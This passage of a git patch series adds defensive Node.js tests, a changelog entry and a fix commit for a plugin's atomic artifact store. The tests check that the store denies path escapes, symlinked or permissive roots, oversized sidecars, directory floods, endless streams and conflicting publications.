A sidecar describing a different relative path than its location. + const misplaced = JSON.stringify({ + schema: 'codex-co-engineer.artifact-store.v1', + artifact_ref: refFor(PAYLOAD, { relative_path: 'runs/elsewhere/x.patch' }), + byte_length: PAYLOAD.length, + sha256: digestOf(PAYLOAD), + }); + const original = readFileSync(metaLeaf, 'utf8'); + writeFileSync(metaLeaf, `${misplaced}\n`); + await expectCode(() => store.verifyArtifact(BASE_REF), 'artifact_foreign_entry'); + writeFileSync(metaLeaf, original); + + // Everything healed: verification passes again. + assert.equal(await store.verifyArtifact(BASE_REF).then((v) => v.verified), true); + } finally { + removeRoot(root); + } +}); + +test('oversized and malformed sidecars are bounded before allocation', async () => { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + await store.publish(BASE_REF, PAYLOAD); + const metaLeaf = path.join(root, 'sanitized', 'meta', 'runs', 'run-store-01', + 'lane-alpha', `diff.patch${ARTIFACT_STORE_META_SUFFIX}`); + writeFileSync(metaLeaf, `${'x'.repeat(MAX_ARTIFACT_STORE_META_BYTES + 1)}`); + await expectCode(() => store.verifyArtifact(BASE_REF), 'artifact_metadata_malformed'); + await expectCode(() => closeAndReopen(root), 'artifact_metadata_malformed'); + } finally { + removeRoot(root); + } +}); + +test('unsafe roots are refused before anything else happens', async () => { + const missing = path.join(makeStoreRoot(), 'does-not-exist'); + try { + await expectCode(() => openArtifactStoreV1({ root: missing }), 'artifact_root_missing'); + const tooOpen = makeStoreRoot(); + try { + chmodSync(tooOpen, 0o755); + await expectCode(() => openArtifactStoreV1({ root: tooOpen }), 'artifact_root_unsafe'); + chmodSync(tooOpen, 0o700); + // Root that is actually a file. + const fileRoot = path.join(makeStoreRoot(), 'file-root'); + writeFileSync(fileRoot, 'not a directory'); + await expectCode(() => openArtifactStoreV1({ root: fileRoot }), 'artifact_root_unsafe'); + // Symlinked root. + const real = makeStoreRoot(); + const linkRoot = `${real}-link`; + try { + symlinkSync(real, linkRoot, 'dir'); + await expectCode(() => openArtifactStoreV1({ root: linkRoot }), 'artifact_root_unsafe'); + } finally { + rmSync(linkRoot, { force: true }); + removeRoot(real); + } + // Hostile option shapes. + await expectCode(() => openArtifactStoreV1({ root: 'relative/path' }), 'artifact_root_unsafe'); + await expectCode(() => openArtifactStoreV1({ root: `${makeStoreRoot()}/../x` }), 'artifact_root_unsafe'); + await expectCode(() => openArtifactStoreV1(null), 'invalid_type'); + await expectCode(() => openArtifactStoreV1({ root: '/tmp/x', extra: 1 }), 'unknown_key'); + } finally { + removeRoot(tooOpen); + } + } finally { + removeRoot(path.dirname(missing)); + } +}); + +test('namespace privacy and structure violations fail closed', async () => { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + await store.publish(BASE_REF, PAYLOAD); + // Group-readable published file. + const contentLeaf = path.join(root, 'sanitized', 'content', 'runs', 'run-store-01', + 'lane-alpha', 'diff.patch'); + chmod(contentLeaf, 0o644); + await expectCode(() => closeAndReopen(root), 'artifact_entry_unsafe'); + await expectCode(() => store.verifyArtifact(BASE_REF), 'artifact_entry_unsafe'); + chmod(contentLeaf, 0o600); + // Group-writable namespace directory. + const nsDir = path.join(root, 'sanitized'); + chmod(nsDir, 0o770); + await expectCode(() => closeAndReopen(root), 'artifact_root_unsafe'); + chmod(nsDir, 0o700); + // A foreign directory inside a namespace. + mkdirSync(path.join(root, 'sanitized', 'smuggled'), { mode: 0o700 }); + await expectCode(() => closeAndReopen(root), 'artifact_foreign_entry'); + rmSync(path.join(root, 'sanitized', 'smuggled'), { recursive: true, force: true }); + // A foreign file directly inside a namespace. + writeFileSync(path.join(root, 'sanitized', 'stray.bin'), 'x'); + await expectCode(() => closeAndReopen(root), 'artifact_foreign_entry'); + rmSync(path.join(root, 'sanitized', 'stray.bin')); + assert.equal((await store.audit()).artifacts, 1); + } finally { + removeRoot(root); + } +}); + +test('directory floods and nesting depth hit bounded enumeration denials', async () => { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + await store.publish(BASE_REF, PAYLOAD); + const leafDir = path.join(root, 'sanitized', 'meta', 'runs', 'run-store-01', 'lane-alpha'); + // Flood one directory past the enumeration bound with legal-looking names. + for (let index = 0; index <= MAX_ARTIFACT_STORE_DIRECTORY_ENTRIES; index += 1) { + writeFileSync(path.join(leafDir, `flood-${String(index).padStart(4, '0')}.json`), '{}'); + } + await expectCode(() => closeAndReopen(root), 'artifact_inventory_exceeded'); + for (let index = 0; index <= MAX_ARTIFACT_STORE_DIRECTORY_ENTRIES; index += 1) { + rmSync(path.join(leafDir, `flood-${String(index).padStart(4, '0')}.json`)); + } + + // Nest deeper than the inherited segment bound. + let deep = path.join(root, 'sanitized', 'content'); + for (let level = 0; level < 20; level += 1) { + deep = path.join(deep, `l${level}`); + } + mkdirSync(deep, { recursive: true, mode: 0o700 }); + await expectCode(() => closeAndReopen(root), 'artifact_inventory_exceeded'); + rmSync(path.join(root, 'sanitized', 'content', 'l0'), { recursive: true, force: true }); + + // The audit-file ceiling is enforced on the sweep itself. + const manyRoot = makeStoreRoot(); + try { + const manyStore = await openArtifactStoreV1({ root: manyRoot }); + const floodDir = path.join(manyRoot, 'raw', 'content'); + mkdirSync(path.join(manyRoot, 'raw', 'meta'), { recursive: true, mode: 0o700 }); + mkdirSync(floodDir, { recursive: true, mode: 0o700 }); + const filler = Buffer.alloc(1024, 0x66); + for (let index = 0; index < MAX_ARTIFACT_STORE_AUDIT_FILES + 1; index += 1) { + writeFileSync(path.join(floodDir, `f${String(index).padStart(5, '0')}`), filler); + writeFileSync(path.join(manyRoot, 'raw', 'meta', `f${String(index).padStart(5, '0')}.json`), '{}'); + } + await expectCode(() => auditArtifactStoreV1(manyStore), 'artifact_inventory_exceeded'); + } finally { + removeRoot(manyRoot); + } + } finally { + removeRoot(root); + } +}); + +test('every typed denial stays content-free across the whole battery', async () => { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + const observations = []; + const probes = [ + () => store.publish(countingProxy(BASE_REF).proxy, PAYLOAD), + () => store.publish(BASE_REF, stringChunkSource()), + () => store.verifyArtifact(BASE_REF), + () => store.publish(refFor(PAYLOAD, { relative_path: '../escape' }), PAYLOAD), + () => openArtifactStoreV1({ root: `${root}/missing` }), + () => store.publish(BASE_REF, new SubclassedBytes(4)), + ]; + for (const probe of probes) { + try { + await probe(); + } catch (error) { + if (error instanceof RunContractV1Error) observations.push(error); + else throw error; + } + } + assert.equal(observations.length >= 4, true); + for (const error of observations) assertContentFree(error, root, PAYLOAD); + } finally { + removeRoot(root); + } +}); diff --git a/plugins/codex-co-engineer/test/r1-artifact-store.test.mjs b/plugins/codex-co-engineer/test/r1-artifact-store.test.mjs new file mode 100644 index 0000000..2696cf9 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-artifact-store.test.mjs @@ -0,0 +1,400 @@ +import assert from 'node:assert/strict'; +import path from 'node:path'; +import test from 'node:test'; + +import { + ARTIFACT_STORE_CONTENT_DIR, + ARTIFACT_STORE_META_DIR, + ARTIFACT_STORE_ERROR_CODES, + ARTIFACT_STORE_INVENTORY_LABEL, + ARTIFACT_STORE_MAX_DEPTH, + ARTIFACT_STORE_META_SUFFIX, + ARTIFACT_STORE_NAMESPACES, + ARTIFACT_STORE_SCHEMA_ID, + ARTIFACT_STORE_TEMP_NAME_PATTERN, + MAX_ARTIFACT_STORE_AUDIT_FILES, + MAX_ARTIFACT_STORE_META_BYTES, + MAX_ARTIFACT_STORE_DIRECTORY_ENTRIES, + auditArtifactStoreV1, + openArtifactStoreV1, + publishArtifactV1, + verifyStoredArtifactsV1, + verifyStoredArtifactV1, +} from '../mcp/v3/artifact-store.mjs'; +import { + ARTIFACT_REF_SCHEMA_ID, + MAX_SANITIZED_ARTIFACT_BYTE_LENGTH, +} from '../mcp/v3/artifact-ref.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + CHILD_B, + chunksOf, + digestOf, + emptyStream, + endlessSource, + makeStoreRoot, + refFor, + removeRoot, + RUN_ID, +} from './fixtures/r1-artifact-store-fixtures.mjs'; + +const PAYLOAD = Buffer.from('authoritative artifact bytes for P08\n'); +const SECOND = Buffer.from('a second artifact published through a stream\n'); + +async function errorOfAsync(action, expectedCode, expectedPath) { + try { + await action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (expectedCode !== undefined) assert.equal(error.code, expectedCode); + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + } + assert.fail(`expected a typed ${expectedCode ?? 'RunContractV1Error'} failure`); +} + +test('the closed vocabulary and layout constants are exported frozen', () => { + assert.equal(ARTIFACT_STORE_SCHEMA_ID, 'codex-co-engineer.artifact-store.v1'); + assert.deepEqual([...ARTIFACT_STORE_NAMESPACES], ['raw', 'sanitized']); + assert.equal(Object.isFrozen(ARTIFACT_STORE_NAMESPACES), true); + assert.equal(Object.isFrozen(ARTIFACT_STORE_ERROR_CODES), true); + for (const code of [ + 'artifact_content_conflict', 'artifact_metadata_conflict', 'artifact_digest_mismatch', + 'artifact_length_mismatch', 'artifact_torn_publication', 'artifact_torn_temporary', + 'artifact_foreign_entry', 'artifact_stream_over_cap', 'artifact_not_found', + ]) { + assert.ok(ARTIFACT_STORE_ERROR_CODES.includes(code), code); + } + assert.equal(ARTIFACT_STORE_CONTENT_DIR, 'content'); + assert.equal(ARTIFACT_STORE_META_DIR, 'meta'); + assert.equal(ARTIFACT_STORE_META_SUFFIX, '.json'); + assert.match(ARTIFACT_STORE_TEMP_NAME_PATTERN.source, /tmp/); + assert.equal(typeof ARTIFACT_STORE_INVENTORY_LABEL, 'string'); + assert.equal(ARTIFACT_STORE_MAX_DEPTH > 0, true); + assert.equal(MAX_ARTIFACT_STORE_AUDIT_FILES > 0, true); + assert.equal(MAX_ARTIFACT_STORE_META_BYTES >= MAX_ARTIFACT_STORE_DIRECTORY_ENTRIES, true); +}); + +test('a validated buffer publication returns detached frozen content-free metadata', async () => { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + const receipt = await store.publish(refFor(PAYLOAD), PAYLOAD); + assert.equal(receipt.schema, ARTIFACT_STORE_SCHEMA_ID); + assert.deepEqual(Object.keys(receipt), [ + 'schema', 'artifact_ref', 'namespace', 'byte_length', 'sha256', 'ref_digest', 'created', + ]); + assert.equal(receipt.created, true); + assert.equal(receipt.namespace, 'sanitized'); + assert.equal(receipt.byte_length, PAYLOAD.length); + assert.equal(receipt.sha256, digestOf(PAYLOAD)); + assert.equal(receipt.artifact_ref.relative_path, `runs/${RUN_ID}/lane-alpha/diff.patch`); + assert.equal(Object.isFrozen(receipt), true); + assert.equal(Object.isFrozen(receipt.artifact_ref), true); + assert.match(receipt.ref_digest, /^[0-9a-f]{64}$/u); + // Content-free: the receipt never carries the root path or any bytes. + const projected = JSON.stringify(receipt); + assert.equal(projected.includes(root), false); + assert.equal(projected.includes(path.basename(root)), false); + assert.equal(projected.includes(PAYLOAD.toString('utf8').trim()), false); + // Detached: mutating the caller view afterwards changes nothing. + const verdict = await store.verifyArtifact(refFor(PAYLOAD)); + assert.equal(verdict.verified, true); + assert.deepEqual(Object.keys(verdict), [ + 'schema', 'artifact_ref', 'namespace', 'byte_length', 'sha256', 'verified', + ]); + } finally { + removeRoot(root); + } +}); + +test('buffer and bounded async stream sources store identical state deterministically', async () => { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + const viaBuffer = await store.publish(refFor(SECOND), SECOND); + const streamRef = refFor(SECOND, { + assignment_id: CHILD_B, + relative_path: `runs/${RUN_ID}/${CHILD_B}/diff.patch`, + }); + const viaStream = await store.publish(streamRef, chunksOf(SECOND, 5)); + assert.equal(viaBuffer.sha256, viaStream.sha256); + assert.equal(viaBuffer.byte_length, viaStream.byte_length); + const batch = await store.verifyArtifacts([streamRef, refFor(SECOND)]); + assert.equal(batch.length, 2); + for (const verdict of batch) assert.equal(verdict.verified, true); + } finally { + removeRoot(root); + } +}); + +test('exact same validated ref plus bytes is idempotent; nothing else is', async () => { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + const first = await store.publish(refFor(PAYLOAD), PAYLOAD); + const replay = await store.publish(refFor(PAYLOAD), PAYLOAD); + assert.equal(first.created, true); + assert.equal(replay.created, false); + assert.equal(first.ref_digest, replay.ref_digest); + assert.equal(replay.byte_length, first.byte_length); + assert.equal(replay.sha256, first.sha256); + // Conflicting content at the same location fails closed. + const other = Buffer.from('conflicting content'); + await errorOfAsync( + () => store.publish(refFor(other), other), + 'artifact_content_conflict', + ); + // Same digest with mismatched metadata fails closed. + await errorOfAsync( + () => store.publish(refFor(PAYLOAD, { media_type: 'application/json' }), PAYLOAD), + 'artifact_metadata_conflict', + ); + await errorOfAsync( + () => store.publish(refFor(PAYLOAD, { run_id: `${RUN_ID}-x` }), PAYLOAD), + 'artifact_metadata_conflict', + ); + // The authoritative artifact survived every conflict untouched. + assert.equal((await store.audit()).artifacts, 1); + assert.equal((await store.publish(refFor(PAYLOAD), PAYLOAD)).created, false); + } finally { + removeRoot(root); + } +}); + +test('raw and sanitized namespaces stay disjoint at one relative path', async () => { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + const sharedPath = `runs/${RUN_ID}/shared/report.bin`; + const sanitized = Buffer.from('model-facing projection'); + const raw = Buffer.from('owner-only local evidence that never faces the model'); + const sanitizedRef = refFor(sanitized, { relative_path: sharedPath }); + const rawRef = refFor(raw, { relative_path: sharedPath, artifact_class: 'raw' }); + await store.publish(sanitizedRef, sanitized); + await store.publish(rawRef, raw); + const report = await store.audit(); + assert.equal(report.namespaces.sanitized.artifacts, 1); + assert.equal(report.namespaces.raw.artifacts, 1); + assert.deepEqual(report.entries.map((entry) => entry.artifact_class), ['raw', 'sanitized']); + assert.equal(await store.verifyArtifact(sanitizedRef).then((v) => v.verified), true); + assert.equal(await store.verifyArtifact(rawRef).then((v) => v.verified), true); + } finally { + removeRoot(root); + } +}); + +test('declared byte_length and sha256 are untrusted claims checked before publication', async () => { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + const wrongLength = refFor(Buffer.from('0123456789'), {}); + await errorOfAsync( + () => store.publish({ ...wrongLength, byte_length: 11 }, Buffer.from('0123456789')), + 'artifact_length_mismatch', + ); + await errorOfAsync( + () => store.publish({ + ...wrongLength, sha256: 'bb'.repeat(32), + }, Buffer.from('0123456789')), + 'artifact_digest_mismatch', + ); + // Short and empty streams fail against their declared claims. + await errorOfAsync(() => store.publish(wrongLength, emptyStream()), 'artifact_length_mismatch'); + // Nothing was published and no temporary was left behind. + const report = await store.audit(); + assert.equal(report.artifacts, 0); + assert.equal(report.inventory_digest.length, 64); + await errorOfAsync( + () => store.verifyArtifact(wrongLength), + 'artifact_not_found', + ); + } finally { + removeRoot(root); + } +}); + +test('the class cap is enforced before over-allocation on streams and buffers alike', async () => { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + // Declaring above the class cap stays a P07 denial before any effect. + await errorOfAsync( + () => store.publish(refFor( + Buffer.alloc(MAX_SANITIZED_ARTIFACT_BYTE_LENGTH + 1), + { relative_path: `runs/${RUN_ID}/too-big.bin` }, + ), Buffer.alloc(1)), + 'out_of_range', + ); + // A declaration pinned exactly at the cap plus a source that outruns it + // hits the store's own streaming enforcement. + const atCap = refFor(PAYLOAD, { + relative_path: `runs/${RUN_ID}/at-cap.bin`, + byte_length: MAX_SANITIZED_ARTIFACT_BYTE_LENGTH, + }); + await errorOfAsync( + () => publishArtifactV1(store, atCap, + Buffer.alloc(MAX_SANITIZED_ARTIFACT_BYTE_LENGTH + 1)), + 'artifact_stream_over_cap', + ); + // A hostile endless stream is stopped by the cap without unbounded work. + await errorOfAsync( + () => publishArtifactV1(store, atCap, (async function* () { + while (true) yield Buffer.alloc(4096, 0x61); + })()), + 'artifact_stream_over_cap', + ); + await errorOfAsync( + () => publishArtifactV1(store, atCap, endlessSource()), + 'artifact_stream_over_cap', + ); + // The raw namespace tolerates what sanitized cannot. + const beyondSanitized = Buffer.alloc(MAX_SANITIZED_ARTIFACT_BYTE_LENGTH + 1, 0x64); + const rawReceipt = await store.publish( + refFor(beyondSanitized, { artifact_class: 'raw', relative_path: `runs/${RUN_ID}/wide.bin` }), + beyondSanitized, + ); + assert.equal(rawReceipt.namespace, 'raw'); + assert.equal((await store.audit()).namespaces.raw.bytes, beyondSanitized.length); + } finally { + removeRoot(root); + } +}); + +test('verification audits a bounded ordered batch and inherits P07 batch discipline', async () => { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + const refs = []; + for (let index = 0; index < 4; index += 1) { + const bytes = Buffer.from(`artifact-${index}`); + const ref = refFor(bytes, { relative_path: `runs/${RUN_ID}/lane-${index}/a.patch` }); + await store.publish(ref, bytes); + refs.push(ref); + } + const forward = await store.verifyArtifacts(refs); + const backward = await store.verifyArtifacts([...refs].reverse()); + assert.deepEqual(JSON.stringify(forward), JSON.stringify(backward)); + // Duplicates are denied instead of collapsed (P07 vocabulary). + await errorOfAsync(() => store.verifyArtifacts([refs[0], refs[0]]), 'duplicate_artifact_ref'); + // Batches above the closed bound are denied before any verification. + const tooMany = Array.from({ length: 65 }, (_, index) => refFor( + Buffer.from([index]), { relative_path: `runs/${RUN_ID}/overflow/${index}.bin` }, + )); + await errorOfAsync(() => store.verifyArtifacts(tooMany), 'refs_exceeded'); + } finally { + removeRoot(root); + } +}); + +test('concurrent identical submissions compose into one winner plus idempotent losers', async () => { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + const submissions = Array.from({ length: 8 }, () => + store.publish(refFor(PAYLOAD), PAYLOAD)); + const receipts = await Promise.all(submissions); + const created = receipts.filter((receipt) => receipt.created); + assert.equal(created.length, 1); + const digests = new Set(receipts.map((receipt) => receipt.ref_digest)); + assert.equal(digests.size, 1); + const report = await store.audit(); + assert.equal(report.artifacts, 1); + assert.equal(report.namespaces.sanitized.artifacts, 1); + } finally { + removeRoot(root); + } +}); + +test('concurrent conflicting submissions fail closed with one deterministic winner', async () => { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + const winner = Buffer.from('the winning bytes'); + const loser = Buffer.from('the losing bytes!'); + const attempts = [ + ...Array.from({ length: 4 }, () => ({ ref: refFor(winner), source: winner })), + ...Array.from({ length: 4 }, () => ({ ref: refFor(loser), source: loser })), + ]; + const settled = await Promise.allSettled(attempts.map(({ ref, source }) => + store.publish(ref, source))); + const fulfilled = settled.filter((entry) => entry.status === 'fulfilled'); + const rejected = settled.filter((entry) => entry.status === 'rejected'); + assert.equal(fulfilled.length + rejected.length, attempts.length); + assert.equal(fulfilled.length >= 1, true); + for (const rejection of rejected) { + assert.ok(rejection.reason instanceof RunContractV1Error); + assert.equal(rejection.reason.code, 'artifact_content_conflict'); + } + const survivingDigests = new Set(fulfilled.map((entry) => entry.value.sha256)); + assert.equal(survivingDigests.size, 1); + const report = await store.audit(); + assert.equal(report.artifacts, 1); + assert.equal(report.entries[0].byte_length, + fulfilled[0].value.byte_length); + const survivingBytes = fulfilled[0].value.sha256 === digestOf(winner) ? winner : loser; + assert.equal(await store.verifyArtifact(refFor(survivingBytes)) + .then((verdict) => verdict.verified), true); + } finally { + removeRoot(root); + } +}); + +test('restart verification reproduces one stable inventory fingerprint', async () => { + const root = makeStoreRoot(); + try { + const first = await openArtifactStoreV1({ root }); + await first.publish(refFor(PAYLOAD), PAYLOAD); + await first.publish(refFor(SECOND, { + assignment_id: CHILD_B, + relative_path: `runs/${RUN_ID}/${CHILD_B}/diff.patch`, + artifact_class: 'raw', + }), SECOND); + const before = await first.audit(); + assert.equal(before.artifacts, 2); + assert.equal(before.inventory_digest.length, 64); + + const reopened = await openArtifactStoreV1({ root }); + const after = await reopened.audit(); + assert.equal(after.inventory_digest, before.inventory_digest); + assert.deepEqual(after.namespaces, before.namespaces); + assert.deepEqual(JSON.stringify(after.entries), JSON.stringify(before.entries)); + + // Any meaningful stored change must move the fingerprint. + const third = Buffer.from('a third artifact'); + await reopened.publish(refFor(third, { + relative_path: `runs/${RUN_ID}/third/a.patch`, + }), third); + const changed = await reopened.audit(); + assert.notEqual(changed.inventory_digest, before.inventory_digest); + assert.equal(changed.artifacts, 3); + } finally { + removeRoot(root); + } +}); + +test('audits are sorted, bounded, and describe only content-free metadata', async () => { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + for (let index = 0; index < 3; index += 1) { + const bytes = Buffer.from(`audit-${index}`); + await store.publish(refFor(bytes, { + relative_path: `runs/${RUN_ID}/z-${2 - index}/a.patch`, + }), bytes); + } + const report = await store.audit(); + assert.equal(report.schema, ARTIFACT_STORE_SCHEMA_ID); + const paths = report.entries.map((entry) => entry.relative_path); + assert.deepEqual(paths, [...paths].sort()); + for (const entry of report.entries) { + assert.deepEqual(Object.keys(entry), [ + 'artifact_class', 'relative_path', 'byte_length', 'sha256', + ]); + } + const projected = JSON.stringify(report); + assert.equal(projected.includes(root), false); + } finally { + removeRoot(root); + } +}); From 0cbd6b814bc8ec63f4d49286633f0543aef45fa3 Mon Sep 17 00:00:00 2001 From: cole Date: Sat, 22 Aug 2026 21:05:41 +0000 Subject: [PATCH 12/81] docs(changelog): record the P08 atomic artifact store Document the private-root namespace layout, the untrusted-claim streaming publication with exclusive-link atomicity, idempotency and typed conflict semantics, descriptor/no-follow root and parent discipline, bounded streaming verification and audit with a restart-stable inventory fingerprint, and the explicit non-goals that remain for later slices. --- CHANGELOG.md | 47 +++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 47 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index ef2e910..722e487 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,53 @@ ### Added +- **Atomic raw/sanitized artifact store.** Adds the additive v3 + `artifact-store.mjs` module for W4-P08: it binds validated ArtifactRefV1 + declarations to real bytes under one caller-supplied existing private store + root, mapping each strict relative path segment-for-segment into disjoint + `raw/` and `sanitized/` namespaces (`content/` plus a strictly parsed + canonical sidecar per artifact), so raw evidence and model-facing + projections never collide even at one path and no parallel ref or path + schema is introduced - references are parsed with `parseArtifactRefV1` and + nothing else, so traversal, absolute paths, reserved device names, + separator look-alikes, and Unicode tricks inherit the exact P07 denials. + Sources are intrinsic Buffer/Uint8Array views or bounded async iterables of + such views; proxies, subclasses, SharedArrayBuffer backings, strings, + accessor-shaped iterables, and arbitrary class instances are denied before + any byte is read. Declared byte length and SHA-256 are treated as untrusted + claims: bytes stream into an unpredictable owner-only same-directory + temporary while the class cap (sanitized 256 KiB, raw 32 MiB) is enforced + on every chunk before it is written, actual length and digest are computed + from the streamed bytes, and both must match the declaration exactly before + publication; the temporary is fsynced, published by exclusive hardlink that + refuses to clobber, unlinked, and the parent directories fsynced, so no + partial artifact ever exists under an authoritative name. Exact same + validated ref plus bytes is idempotent across concurrent submissions (one + deterministic winner plus idempotent losers behind a per-root operation + chain); conflicting content at one location, the same digest under + different metadata, or any other competing publication fails closed with + typed content-free errors and leaves the authoritative state untouched, + rolling back a race loser's own link only when the platform proves the + inode is ours. Roots and parents use descriptor/no-follow discipline - + O_NOFOLLOW|O_DIRECTORY opens, device/inode identity brackets, lstat-walked + 0700 parent chains re-proven after publication - rejecting missing, + non-private, symlinked, replaced, and swapped roots and parents wherever + provable. Verification and audit stream stored bytes in fixed chunks solely + to recompute length and digest (never returning or buffering content), + enumerate with bounded per-directory entries, files, depth, and total + audited bytes, and condemn leftover or torn temporaries (a reserved name + grammar artifacts may never spell), orphaned or duplicate sidecars, + symlinks, hardlinks, FIFOs and other non-regular entries, foreign names, + truncated or oversized content, malformed or misplaced metadata, and + content swapped under a path; audits return detached frozen metadata plus a + framed inventory fingerprint that restarts reproduce exactly. Receipts, + verdicts, and reports are deep-frozen, content-free, and never echo the + store root, artifact bytes, or operating-system errors. Out of scope and + unclaimed: P09 sanitization, the P10 reader, the P13 evidence bundle, + cleanup, scheduler/provider/supervisor wiring, and protected references; + a torn store stays torn and fails closed until an operator acts. Coverage + lives in `test/r1-artifact-store.test.mjs` and + `test/r1-artifact-store-adversarial.test.mjs`. - **ArtifactRefV1 and the strict relative artifact path policy.** Adds two additive, pure v3 modules for W3-P07. `artifact-path.mjs` owns one deterministic fail-closed question - is this string a strict portable From ef0d7dc73ffcda00b06f0d07f3273314575a3ae7 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sat, 22 Aug 2026 21:30:40 +0000 Subject: [PATCH 13/81] fix(v3): reject reserved parents and verify stored snapshots Deny the private temporary-name grammar on every artifact path segment and its sidecar form before publication, not only the leaf, so a reserved parent cannot publish and later self-condemn as crash debris. Verification retains the stored sidecar snapshot, fails mismatches with the same content/metadata split as publish, and measures bytes against the sidecar digest and length rather than the caller view. --- .../mcp/v3/artifact-store.mjs | 27 +++++++---- .../r1-artifact-store-adversarial.test.mjs | 46 +++++++++++++++++++ 2 files changed, 63 insertions(+), 10 deletions(-) diff --git a/plugins/codex-co-engineer/mcp/v3/artifact-store.mjs b/plugins/codex-co-engineer/mcp/v3/artifact-store.mjs index 645d32e..140feb7 100644 --- a/plugins/codex-co-engineer/mcp/v3/artifact-store.mjs +++ b/plugins/codex-co-engineer/mcp/v3/artifact-store.mjs @@ -904,9 +904,9 @@ async function measurePublishedContent(targetPath, snapshot) { } // Verify one stored location end-to-end against one validated reference: -// sidecar presence, strict shape, regular-file discipline, streaming -// length/digest agreement, and exact reference equality. Returns the stored -// reference snapshot on success. +// sidecar presence, strict shape, exact stored-vs-requested snapshot +// equality, regular-file discipline, and streaming length/digest agreement +// against the stored sidecar claims (never the caller view). async function verifyLocation(rootPath, snapshot) { const locations = namespaceLocations(rootPath, snapshot.artifact_class, snapshot.relative_path); const metaOpened = await readBoundedFile(locations.metaTarget, MAX_ARTIFACT_STORE_META_BYTES, 'meta'); @@ -919,8 +919,13 @@ async function verifyLocation(rootPath, snapshot) { } failStore('artifact_not_found', 'artifact_ref', 'No stored artifact exists for that reference.'); } - parseMetaDocument(metaOpened.bytes, snapshot.artifact_class, snapshot.relative_path, 'meta'); - await measurePublishedContent(locations.contentTarget, snapshot); + const storedSnapshot = parseMetaDocument(metaOpened.bytes, snapshot.artifact_class, + snapshot.relative_path, 'meta'); + if (canonicalSnapshotText(storedSnapshot) !== canonicalSnapshotText(snapshot)) { + failStore(classifyExistingConflict(storedSnapshot, snapshot), 'artifact_ref', + 'A different artifact already occupies this location.'); + } + await measurePublishedContent(locations.contentTarget, storedSnapshot); return locations; } @@ -1190,11 +1195,13 @@ function classifyExistingConflict(existingSnapshot, snapshot) { async function publishPrepared(root, snapshot, source) { const locations = namespaceLocations(root.path, snapshot.artifact_class, snapshot.relative_path); const cap = maxByteLengthForClass(snapshot.artifact_class); - const leaf = locations.segments[locations.segments.length - 1]; - if (capturedTest(PRIVATE_TEMP_NAME_PATTERN, leaf) - || capturedTest(PRIVATE_TEMP_NAME_PATTERN, `${leaf}${ARTIFACT_STORE_META_SUFFIX}`)) { - failStore('artifact_reserved_name_denied', 'artifact_ref.relative_path', - 'An artifact path may not spell the reserved temporary-name grammar.'); + for (let index = 0; index < locations.segments.length; index += 1) { + const segment = locations.segments[index]; + if (capturedTest(PRIVATE_TEMP_NAME_PATTERN, segment) + || capturedTest(PRIVATE_TEMP_NAME_PATTERN, `${segment}${ARTIFACT_STORE_META_SUFFIX}`)) { + failStore('artifact_reserved_name_denied', 'artifact_ref.relative_path', + 'An artifact path may not spell the reserved temporary-name grammar.'); + } } const captures = []; diff --git a/plugins/codex-co-engineer/test/r1-artifact-store-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-artifact-store-adversarial.test.mjs index dfc2be1..3823988 100644 --- a/plugins/codex-co-engineer/test/r1-artifact-store-adversarial.test.mjs +++ b/plugins/codex-co-engineer/test/r1-artifact-store-adversarial.test.mjs @@ -441,6 +441,52 @@ test('crash debris: torn temporaries, orphaned content, and orphaned sidecars st } }); +test('a reserved temporary-name parent cannot publish and later self-condemns', async () => { + const { root, store } = await freshStore(); + try { + const reserved = `.tmp-${'a'.repeat(32)}`; + const bytes = Buffer.from('temp-segment payload'); + const reservedRef = refFor(bytes, { relative_path: `runs/${reserved}/x.bin` }); + await expectCode(() => store.publish(reservedRef, bytes), 'artifact_reserved_name_denied'); + // Denial leaves the store clean: later audit/open must not self-condemn. + assert.equal((await store.audit()).artifacts, 0); + assert.equal((await closeAndReopen(root).then((reopened) => reopened.audit())).artifacts, 0); + + // Operator-planted reserved parents remain crash debris, not artifacts. + mkdirSync(path.join(root, 'sanitized', 'content', 'runs', reserved), { recursive: true, mode: 0o700 }); + writeFileSync(path.join(root, 'sanitized', 'content', 'runs', reserved, 'x.bin'), bytes); + await expectCode(() => store.audit(), 'artifact_torn_temporary'); + await expectCode(() => closeAndReopen(root), 'artifact_torn_temporary'); + } finally { + removeRoot(root); + } +}); + +test('verification compares stored snapshots and never trusts a caller-forged digest', async () => { + const { root, store } = await freshStore(); + try { + await store.publish(BASE_REF, PAYLOAD); + await expectCode( + () => store.verifyArtifact(refFor(PAYLOAD, { media_type: 'application/json' })), + 'artifact_metadata_conflict', + ); + await expectCode( + () => store.verifyArtifact(refFor(PAYLOAD, { run_id: 'run-store-99' })), + 'artifact_metadata_conflict', + ); + assert.equal(await store.verifyArtifact(BASE_REF).then((verdict) => verdict.verified), true); + + const swapped = Buffer.from(PAYLOAD.map((byte) => byte ^ 0x01)); + const contentLeaf = path.join(root, 'sanitized', 'content', 'runs', 'run-store-01', + 'lane-alpha', 'diff.patch'); + writeFileSync(contentLeaf, swapped); + await 